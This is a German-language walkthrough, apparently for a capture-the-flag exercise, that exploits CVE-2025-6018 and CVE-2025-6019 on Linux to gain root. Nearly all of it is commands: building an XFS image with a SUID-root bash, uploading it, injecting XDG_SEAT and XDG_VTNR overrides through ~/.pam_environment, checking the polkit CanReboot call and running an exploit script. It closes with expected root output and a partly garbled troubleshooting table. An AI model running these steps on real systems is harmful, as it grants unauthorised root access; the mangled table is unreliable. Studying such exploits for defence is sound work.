
Schritt-für-Schritt-Privilegieneskalations-Exploit für CVE-2025-6018 und CVE-2025-6019 unter Verwendung von XFS-Image-Manipulation und PAM-Umgebungsvariablen-Injektion, um Root-Zugriff auf Linux-Systemen zu erlangen.
# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt
# Verify (should show 300M)
ls -lh xfs.image
# Upload exploit script and image
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/
# SSH login to target
ssh [email protected]
# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF
# Verify configuration
cat ~/.pam_environment
# 🔥 Critical: Logout (to activate PAM config)
exit
# Re-login via SSH (PAM config now active)
ssh [email protected]
# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# Execute privilege escalation script
bash exp.sh
Bei erfolgreichem Exploit sollten Sie sehen:
✓ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
✓ Root access confirmed!
════════════════════════════════════════════════════════════
║ ROOT FLAG ║
║ <flag_here> ║
════════════════════════════════════════════════════════════
bash-5.2# whoami
root
| Problem |
|---|
('yes',) zurückgegeben wird, bevor Sie das Skript ausführenssh -t user@host "cmd"-AusführungFalls es fehlschlägt, stellen Sie sicher, dass jeder Schritt strikt in der richtigen Reihenfolge ausgeführt wird!
| Lösung |
|---|
CanReboot gibt ('no',) zurück | Stellen Sie sicher, dass Sie sich ab- und wieder angemeldet haben (Schritt 3) |
Not authorized-Fehler | Überprüfen Sie, ob der Inhalt von ~/.pam_environment korrekt ist |
| SUID bash nicht gefunden | Laden Sie xfs.image erneut hoch und prüfen Sie, ob das SUID-Bit gesetzt ist |